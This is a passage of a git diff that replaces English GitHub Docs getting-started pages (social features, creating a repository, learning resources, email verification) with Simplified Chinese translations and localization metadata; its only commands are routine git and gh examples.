有关详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 {% endif %} -## Part 4: Customizing and automating your work on {% data variables.product.product_name %} +## 第 4 部分:自定义和自动化 {% data variables.product.product_name %} 上的工作 {% data reusables.getting-started.customizing-and-automating %} {% ifversion fpt or ghec %} -### 1. Using {% data variables.product.prodname_marketplace %} -{% data reusables.getting-started.marketplace %} -{% endif %} -### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +### 1. 使用 {% data variables.product.prodname_marketplace %} +{% data reusables.getting-started.marketplace %} {% endif %} +### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} 使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} -### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %} +### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} 构建 {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} +### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} 发布和管理 {% data variables.product.prodname_registry %} {% data reusables.getting-started.packages %} -## Part 5: Building securely on {% data variables.product.product_name %} -{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." +## 第 5 部分:在 {% data variables.product.product_name %} 上安全地构建 +{% data variables.product.product_name %} 具有各种安全功能,有助于确保存储库中代码和机密的安全。 某些功能适用于所有存储库,而另一些功能仅适用于公共存储库和具有 {% data variables.product.prodname_GH_advanced_security %} 许可证的存储库。 有关 {% data variables.product.product_name %} 安全功能的概述,请参阅“[{% data variables.product.prodname_dotcom %} 安全功能](/code-security/getting-started/github-security-features)”。 -### 1. Securing your repository -As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. +### 1. 保护存储库 +作为存储库管理员,您可以通过配置存储库安全设置来保护您的存储库。 其中包括管理对存储库的访问、设置安全策略和管理依赖项。 对于公共存储库以及启用了 {% data variables.product.prodname_GH_advanced_security %} 的组织拥有的私有存储库,您还可以配置代码和机密扫描以自动识别漏洞并确保令牌和密钥不会公开。 -For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)." +有关保护存储库的步骤的详细信息,请参阅“[保护存储库](/code-security/getting-started/securing-your-repository)”。 {% ifversion fpt or ghec %} -### 2. Managing your dependencies -A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. +### 2. 管理依赖项 +安全构建的很大一部分是维护项目的依赖项,以确保所依赖的所有包和应用程序都已更新且安全。 通过浏览存储库的依赖关系图,使用 Dependabot 自动引发拉取请求以使依赖项保持最新,以及接收依赖项的警报和易受攻击依赖项的安全更新,您可以管理上 {% data variables.product.product_name %} 存储库的依赖关系。 -For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)." +有关详细信息,请参阅“[保护软件供应链](/code-security/supply-chain-security)”。 {% endif %} -## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community +## 第 6 部分:参与 {% data variables.product.prodname_dotcom %} 的社区 {% data reusables.getting-started.participating-in-community %} -### 1. Contributing to open source projects +### 1. 参与开源项目 {% data reusables.getting-started.open-source-projects %} -### 2. Interacting with {% data variables.product.prodname_gcf %} +### 2. 与 {% data variables.product.prodname_gcf %} 互动 {% data reusables.support.ask-and-answer-forum %} -### 3. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %} +### 3. 在 {% data variables.product.prodname_docs %} 上阅读 {% data variables.product.product_name %} {% data reusables.docs.you-can-read-docs-for-your-product %} -### 4. Learning with {% data variables.product.prodname_learning %} +### 4. 通过 {% data variables.product.prodname_learning %} 学习 {% data reusables.getting-started.learning %} {% ifversion fpt or ghec %} -### 5. Supporting the open source community +### 5. 支持开源社区 {% data reusables.getting-started.sponsors %} -### 6. Contacting {% data variables.contact.github_support %} +### 6. 联系 {% data variables.contact.github_support %} {% data reusables.getting-started.contact-support %} {% ifversion fpt %} -## Further reading -- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)" -{% endif %} -{% endif %} +## 延伸阅读 +- “[{% data variables.product.prodname_team %} 入门指南](/get-started/onboarding/getting-started-with-github-team)”{% endif %} {% endif %} diff --git a/translations/zh-CN/content/get-started/quickstart/be-social.md b/translations/zh-CN/content/get-started/quickstart/be-social.md index 27cfae157f..a38ce05e47 100644 --- a/translations/zh-CN/content/get-started/quickstart/be-social.md +++ b/translations/zh-CN/content/get-started/quickstart/be-social.md @@ -1,11 +1,11 @@ --- -title: Be social +title: 社交化 redirect_from: - /be-social - /articles/be-social - /github/getting-started-with-github/be-social - /github/getting-started-with-github/quickstart/be-social -intro: 'You can interact with people, repositories, and organizations on {% data variables.product.prodname_dotcom %}. See what others are working on and who they are connecting with from your personal dashboard.' +intro: '您可以在 {% data variables.product.prodname_dotcom %} 上与人员、仓库及组织进行互动。 从个人仪表板查看其他人正在做什么,在跟谁联系。' permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' versions: fpt: '*' @@ -18,71 +18,61 @@ topics: - Issues - Notifications - Accounts +ms.openlocfilehash: 72cdc18a6db388a33eeeac03f7f86571691b1fcc +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145128844' --- -To learn about accessing your personal dashboard, see "[About your personal dashboard](/articles/about-your-personal-dashboard)." +若要了解如何访问个人仪表板,请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。 -## Following people +## 关注他人 -When you follow someone on {% data variables.product.prodname_dotcom %}, you will get notifications on your personal dashboard about their public activity. If someone you follow creates a new repository, stars a repository, or follows another user, the activity will display in your dashboard. +当你在 {% data variables.product.prodname_dotcom %} 上关注某人时,你将在个人仪表板上收到关于其公共活动的通知。 如果你关注的某人创建新存储库、用星号标记存储库或关注其他用户,则活动将显示在仪表板中。 -Click **Follow** on a person's profile page to follow them. +单击某人个人资料页上的“关注”可关注他们。 -![Follow user button](/assets/images/help/profile/follow-user-button.png) +![关注用户按钮](/assets/images/help/profile/follow-user-button.png) -For more information, see "[Following people](/get-started/exploring-projects-on-github/following-people)." +有关详细信息,请参阅“[关注他人](/get-started/exploring-projects-on-github/following-people)”。 -## Watching a repository +## 关注仓库 -You can subscribe to a repository to watch it and receive notifications for activity in it. When the owner updates the repository, you will see the changes in your personal dashboard. For more information, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)." +可以订阅存储库来关注它并接收其中活动的通知。 当所有者更新存储库时,你将在个人仪表板中看到其更改。 有关详细信息,请参阅“[查看订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)”。 -Click **Watch** at the top of a repository to watch it. +单击存储库顶部的“监视”可监视存储库。 -![Watch repository button](/assets/images/help/repository/repo-actions-watch.png) +![关注仓库按钮](/assets/images/help/repository/repo-actions-watch.png) -## Joining the conversation +## 加入对话 {% data reusables.support.ask-and-answer-forum %} -## Communicating on {% data variables.product.product_name %} +## {% data variables.product.product_name %} 上的通信 -{% data variables.product.product_name %} provides built-in collaborative communication tools, allowing you to interact closely with your community when building great software. For example, you can contribute to another user's project by creating a pull request, or use issues to track bugs or suggest ideas in a repository. You can also brainstorm new ideas with your team with discussions. +{% data variables.product.product_name %} 提供内置的协作通信工具,使你能够在构建出色的软件时与社区进行密切互动。 例如,可以通过创建拉取请求,或使用问题跟踪 bug 或建议存储库中的想法,从而为其他用户的项目做出贡献。 还可以通过与你的团队讨论来寻求新的想法。 -For an overview of these tools, see "[Quickstart for communicating on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)." +有关这些工具的概述,请参阅“[在 {% data variables.product.prodname_dotcom %} 上进行通信的快速入门](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)”。 -## Participating in organizations +## 参与组织 -Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can establish teams with special permissions, have a public organization profile, and keep track of activity within the organization. For more information, see "[About organizations](/articles/about-organizations/)." +组织是共享帐户,其中业务和开源项目可同时跨多个项目进行协作。 所有者和管理员可建立具有特殊权限的团队、拥有公共组织资料以及跟踪组织内的活动。 有关详细信息,请参阅[关于组织](/articles/about-organizations/)。 -From your dashboard, click the drop down menu of your username on the left side of your dashboard. Here, you can view organizations that you are a part of and easily switch between them. +在仪表板中,单击仪表板左侧的用户名的下拉菜单。 在此处,可以查看你作为成员的组织并轻松地在组织之间切换。 -![Switch account context dropdown](/assets/images/help/overview/dashboard-contextswitcher.png) +![切换帐户上下文下拉列表](/assets/images/help/overview/dashboard-contextswitcher.png) -{% ifversion for-you-feed %} +### 在 {% data variables.product.prodname_dotcom %} 上探索其他项目 -## Following organizations +可以在 {% data variables.product.prodname_dotcom %} 的“浏览”页上发现全新且有趣的项目。 可以用星号标记感兴趣的项目,以便今后轻松找到它们。 访问你的星标页面以查看所有加星标的项目。 有关星标的详细信息,请参阅“[使用星标保存存储库](/get-started/exploring-projects-on-github/saving-repositories-with-stars)”。 -{% data reusables.organizations.follow-organizations-beta %} +仪表板源根据你的兴趣(包括你加星标的存储库、关注的人员以及为公共存储库做出的贡献)显示项目。 在仪表板中,可以查看热门项目、主题和收藏集锦。 -{% data reusables.organizations.about-following-organizations %} +若要浏览更多项目,请参阅“{% data variables.explore.explore_github %}”。 -To follow an organization, in the header of the organization's page, click **Follow**. - -![Screenshot of the organization header, with the follow button highlighted](/assets/images/help/profile/organization-profile-following.png) - -For more information, see "[Following organizations](/get-started/exploring-projects-on-github/following-organizations)." - -{% endif %} - -## Exploring other projects on {% data variables.product.prodname_dotcom %} - -You can discover new and interesting projects on {% data variables.product.prodname_dotcom %}'s Explore page. You can star interesting projects to make them easy to find again later. Visit your stars page to see all your starred projects. For more information about stars, see "[Saving repositories with stars](/get-started/exploring-projects-on-github/saving-repositories-with-stars)." - -Your dashboard feed displays projects based on your interests including repositories you star, people you follow, and your contributions to public repositories. From your dashboard, you can see trending projects, view topics, and check out collections. - -To explore more projects, see "{% data variables.explore.explore_github %}". - -## Next steps -You are now connected to the {% data variables.product.product_name %} community. There are other ways to interact and build within {% data variables.product.product_name %}. +## 后续步骤 +你现在已连接到 {% data variables.product.product_name %} 社区。 还有其他方法可以在 {% data variables.product.product_name %} 中进行交互和生成。 * {% data reusables.getting-started.set-up-git %} diff --git a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md index 06048bb4fd..abe1b6978b 100644 --- a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md +++ b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md @@ -1,11 +1,11 @@ --- -title: Create a repo +title: 创建存储库 redirect_from: - /create-a-repo - /articles/create-a-repo - /github/getting-started-with-github/create-a-repo - /github/getting-started-with-github/quickstart/create-a-repo -intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you will need to create a repository for it to live in.' +intro: '若要将项目放在 {% data variables.product.prodname_dotcom %} 上,需要创建一个存储库来存放它。' versions: fpt: '*' ghes: '*' @@ -16,16 +16,22 @@ topics: - Issues - Notifications - Accounts +ms.openlocfilehash: 66db99def4463929236197fdc4903f82bfc1cbe2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146682291' --- -## Create a repository +## 创建存储库 {% ifversion fpt or ghec %} -You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With open source projects, you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." To learn more about open source projects, visit [OpenSource.org](https://opensource.org/about). +可以在 {% data variables.product.prodname_dotcom %} 存储库中存储各种项目,包括开源项目。 通过开源项目,可以共享代码以开发更好、更可靠的软件。 您可以使用仓库与他人协作并跟踪您的工作。 有关详细信息,请参阅[关于存储库](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)。 若要详细了解开放源代码项目,请访问 [OpenSource.org](https://opensource.org/about)。 {% elsif ghes or ghae %} -You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." +您可以在 {% data variables.product.product_name %} 仓库中存储各种项目,包括内部来源项目。 通过内部源代码,您可以分享代码来获取更好、更可靠的软件。 有关内部来源的详细信息,请参阅 {% data variables.product.company_short %} 的白皮书[内部来源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)。 {% endif %} @@ -33,10 +39,10 @@ You can store a variety of projects in {% data variables.product.product_name %} {% note %} -**Notes:** -- You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} +**注意:** +- 可以为开放源代码项目创建公共存储库。 创建公共存储库时,请确保包含一个[许可文件](https://choosealicense.com/),用于界定你希望与他人共享自己项目的方式。 {% data reusables.open-source.open-source-guide-repositories %} - {% data reusables.open-source.open-source-learning %} -- You can also add community health files to your repositories, to set guidelines on how to contribute, keep your repositories safe, and much more. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." +- 还可以将社区运行状况文件添加到存储库中,以设置有关如何参与、保护存储库安全等的准则。 有关详细信息,请参阅[创建默认社区运行状况文件](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)。 {% endnote %} @@ -45,15 +51,12 @@ You can store a variety of projects in {% data variables.product.product_name %} {% webui %} {% data reusables.repositories.create_new %} -2. Type a short, memorable name for your repository. For example, "hello-world". - ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png) -3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}." - ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png) -{% data reusables.repositories.choose-repo-visibility %} -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} +2. 为存储库键入简短好记的名称。 例如 "hello-world"。 + ![用于输入存储库名称的字段](/assets/images/help/repository/create-repository-name.png) +3. 可以选择性地添加存储库的说明。 例如,“我在 {% data variables.product.product_name %} 上的第一个仓库”。 + ![用于输入存储库说明的字段](/assets/images/help/repository/create-repository-desc.png) {% data reusables.repositories.choose-repo-visibility %} {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -Congratulations! You've successfully created your first repository, and initialized it with a *README* file. +恭喜! 你已经成功创建了第一个存储库,并使用自述文件对其进行了初始化。 {% endwebui %} @@ -61,51 +64,47 @@ Congratulations! You've successfully created your first repository, and initiali {% data reusables.cli.cli-learn-more %} -1. In the command line, navigate to the directory where you would like to create a local clone of your new project. -2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your personal account, specify the organization name and project name with `organization-name/project-name`. -3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. -4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). +1. 在命令行中,导航到要在其中创建新项目的本地克隆的目录。 +2. 若要为项目创建存储库,请使用 `gh repo create` 子命令。 出现提示时,选择“从头开始在 GitHub 上创建新存储库”,然后输入新项目的名称 如果希望项目属于某个组织而不是你的个人帐户,请使用 `organization-name/project-name` 指定组织名称和项目名称。 +3. 按照交互式提示进行操作。 要在本地克隆存储库,请在询问您是否要克隆远程项目目录时确认是。 +4. 或者,若要跳过提示,请提供存储库名称和可见性标志(`--public`、`--private` 或 `--internal`)。 例如 `gh repo create project-name --public`。 若要在本地克隆存储库,请传递 `--clone` 标志。 有关可能的参数的详细信息,请参阅 [GitHub CLI 手册](https://cli.github.com/manual/gh_repo_create)。 {% endcli %} -## Commit your first change +## 提交您的第一个更改 {% webui %} -A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time. +*[提交](/articles/github-glossary#commit)* 就像是项目中所有文件在特定时间点的快照。 -When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. +创建新存储库时,你使用自述文件对其进行了初始化。 README 文件用于更详细地描述项目或添加一些指南性文档(例如如何安装或使用项目)。 README 文件的内容会自动显示在存储库的首页上。 -Let's commit a change to the *README* file. +让我们提交对自述文件的更改。 -1. In your repository's list of files, click ***README.md***. - ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png) -2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}. -3. On the **Edit file** tab, type some information about yourself. - ![New content in file](/assets/images/help/repository/edit-readme-light.png) -{% data reusables.files.preview_change %} -5. Review the changes you made to the file. You will see the new content in green. - ![File preview view](/assets/images/help/repository/create-commit-review.png) -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} +1. 在存储库的文件列表中,单击“README.md”。 + ![文件列表中的自述文件](/assets/images/help/repository/create-commit-open-readme.png) +2. 在文件内容上方,单击 {% octicon "pencil" aria-label="The edit icon" %}。 +3. 在“编辑文件”选项卡上,键入一些关于你自己的信息。 + ![文件中的新内容](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} +5. 查看您对文件所做的更改。 你会看到新内容以绿色显示。 + ![文件预览视图](/assets/images/help/repository/create-commit-review.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% endwebui %} {% cli %} -Now that you have created a project, you can start committing changes. +创建项目后,可以开始提交更改。 -*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file. +README 文件用于更详细地描述项目或添加一些指南性文档(例如如何安装或使用项目)。 README 文件的内容会自动显示在存储库的首页上。 按照以下步骤添加一个自述文件。 -1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) -1. Create a *README* file with some information about the project. +1. 在命令行中,导航到新项目的根目录。 (此目录是在运行 `gh repo create` 命令时创建的。) +1. 创建自述文件,其中包含有关项目的一些信息。 ```shell echo "info about this project" >> README.md ``` -1. Enter `git status`. You will see that you have an untracked `README.md` file. +1. 输入 `git status`。 你会看到你有一个未跟踪的 `README.md` 文件。 ```shell $ git status @@ -117,13 +116,13 @@ Now that you have created a project, you can start committing changes. nothing added to commit but untracked files present (use "git add" to track) ``` -1. Stage and commit the file. +1. 暂存并提交文件。 ```shell git add README.md && git commit -m "Add README" ``` -1. Push the changes to your branch. +1. 将更改推送到您的分支。 ```shell git push --set-upstream origin HEAD @@ -131,17 +130,17 @@ Now that you have created a project, you can start committing changes. {% endcli %} -## Next steps +## 后续步骤 -You have now created a repository, including a *README* file, and created your first commit on {% data variables.location.product_location %}. +你现在已经创建了一个存储库,其中包括自述文件,并在 {% data variables.product.product_location %} 上创建了你的第一个提交。 {% webui %} -* You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)." +* 现在可以克隆 {% data variables.product.prodname_dotcom %} 存储库以在计算机上创建本地副本。 从您的本地仓库,您可以提交并创建拉取请求来更新上游仓库中的更改。 有关详细信息,请参阅[克隆存储库](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)和[设置 Git](/articles/set-up-git)。 {% endwebui %} -* You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. {% data reusables.getting-started.fork-a-repository %} +* 可以在 {% data variables.product.prodname_dotcom %} 上找到有趣的项目和存储库,并通过创建存储库分支来更改它们。 {% data reusables.getting-started.fork-a-repository %} * {% data reusables.getting-started.being-social %} diff --git a/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md index a4f544484c..2cf2edee2c 100644 --- a/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md +++ b/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md @@ -1,12 +1,12 @@ --- -title: Git and GitHub learning resources +title: Git 和 GitHub 学习资源 redirect_from: - /articles/good-resources-for-learning-git-and-github - /articles/what-are-other-good-resources-for-learning-git-and-github - /articles/git-and-github-learning-resources - /github/getting-started-with-github/git-and-github-learning-resources - /github/getting-started-with-github/quickstart/git-and-github-learning-resources -intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!' +intro: 'Web 上有许多有用的 Git 和 {% data variables.product.product_name %} 资源。 这是我们精选的简短列表!' versions: fpt: '*' ghes: '*' @@ -15,49 +15,55 @@ versions: authors: - GitHub shortTitle: Learning resources +ms.openlocfilehash: d8d0457de2842392febee0c90660285e9b1afef8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146139294' --- -## Using Git +## 使用 Git -Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can also review the [Git command list](https://git-scm.com/docs). +通过访问[官方 Git 项目站点](https://git-scm.com)并阅读 [ProGit 书籍](http://git-scm.com/book)熟悉 Git。 还可以查看 [Git 命令列表](https://git-scm.com/docs)。 -## Using {% data variables.product.product_name %} +## 使用 {% data variables.product.product_name %} {% ifversion fpt or ghec %} -{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). +{% data variables.product.prodname_learning %} 提供免费互动课程,它们内置于 {% data variables.product.prodname_dotcom %} 中,附有即时自动反馈和帮助。 学习提出第一个拉取请求、做出第一个开源贡献、创建 {% data variables.product.prodname_pages %} 站点等。 有关课程设置的详细信息,请参阅 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})。 {% endif %} -Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts. +通过[入门指南](/categories/getting-started-with-github/)文章更好地熟悉 {% data variables.product.product_name %}。 参阅 [{% data variables.product.prodname_dotcom %} 流程](https://guides.github.com/introduction/flow),了解流程介绍。 阅读[概述指南](https://guides.github.com),了解基本概念。 {% data reusables.support.ask-and-answer-forum %} -### Branches, forks, and pull requests +### 分支、复刻和拉取请求 -Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/). +使用交互式工具了解 [Git 分支](http://learngitbranching.js.org/)。 阅读有关[分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)和[拉取请求](/articles/using-pull-requests)的相关信息并了解[如何在 {% data variables.product.prodname_dotcom %} 上使用拉取请求](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github)。 从[命令行](https://cli.github.com/)访问有关使用 {% data variables.product.prodname_dotcom %} 的参考。 -### Tune in +### 收看视频 -Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less. +我们的 {% data variables.product.prodname_dotcom %} [YouTube 培训和指南频道](https://youtube.com/githubguides)提供了有关[拉取请求](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19)、[创建分支](https://www.youtube.com/watch?v=5oJHRbqEofs)、[变基](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22)和[重置](https://www.youtube.com/watch?v=BKPjPMVB81g)功能的教程。 每个主题介绍 5 分钟或更短时间。 -## Training +## 培训 -### Free courses +### 免费课程 -{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://skills.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://github.com/skills/introduction-to-github); and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}. +{% data variables.product.product_name %} 提供一系列交互式、[点播培训课程](https://skills.github.com/),包括 [{% data variables.product.prodname_dotcom %} 简介](https://github.com/skills/introduction-to-github);以及关于 {% data variables.product.product_name %} 特定工具(如 {% data variables.product.prodname_actions %})的课程。 -### {% data variables.product.prodname_dotcom %}'s web-based educational programs +### {% data variables.product.prodname_dotcom %} 基于 web 的教育课程 -{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't. +{% data variables.product.prodname_dotcom %} 提供直播[培训](https://services.github.com/#upcoming-events),为喜欢和不喜欢使用命令行的人提供注重实践、基于项目的方法。 -### Training for your company +### 为您的公司提供培训 -{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions. +{% data variables.product.prodname_dotcom %} 提供[现场课程](https://services.github.com/#offerings),由经验丰富的教师讲授。 如需询问有关培训的问题,请[联系我们](https://services.github.com/#contact)。 -## Extras +## 附加信息 -An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs. +[Pluralsight](https://www.pluralsight.com/codeschool) 的互动式[在线 Git 课程](https://www.pluralsight.com/courses/code-school-git-real)有七个等级,以有趣的游戏形式提供数许多练习。 你可以根据自己的需求自由调整 [.gitignore 模板](https://github.com/github/gitignore)。 -Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) text editor. +通过{% ifversion fpt or ghec %}[集成](/articles/about-integrations){% else %}integrations{% endif %},或者安装 [{% data variables.product.prodname_desktop %}](https://desktop.github.com) 和可靠的 [Atom](https://atom.io) 文本编辑器来扩展 {% data variables.product.prodname_dotcom %} 范围。 -Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/). +通过[开源指南](https://opensource.guide/)了解如何启动和发展开源项目。 diff --git a/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md index 64e0ef6f88..2fb724658a 100644 --- a/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md +++ b/translations/zh-CN/content/get-started/signing-up-for-github/verifying-your-email-address.md @@ -1,6 +1,6 @@ --- -title: Verifying your email address -intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.' +title: 验证电子邮件地址 +intro: '验证主电子邮件地址可确保增强的安全性,以便 {% data variables.product.prodname_dotcom %} 员工在您忘记密码时更好地协助您,并为您提供 {% data variables.product.prodname_dotcom %} 上更多功能的访问权限。' redirect_from: - /articles/troubleshooting-email-verification - /articles/setting-up-email-verification @@ -13,59 +13,64 @@ versions: topics: - Accounts shortTitle: Verify your email address +ms.openlocfilehash: 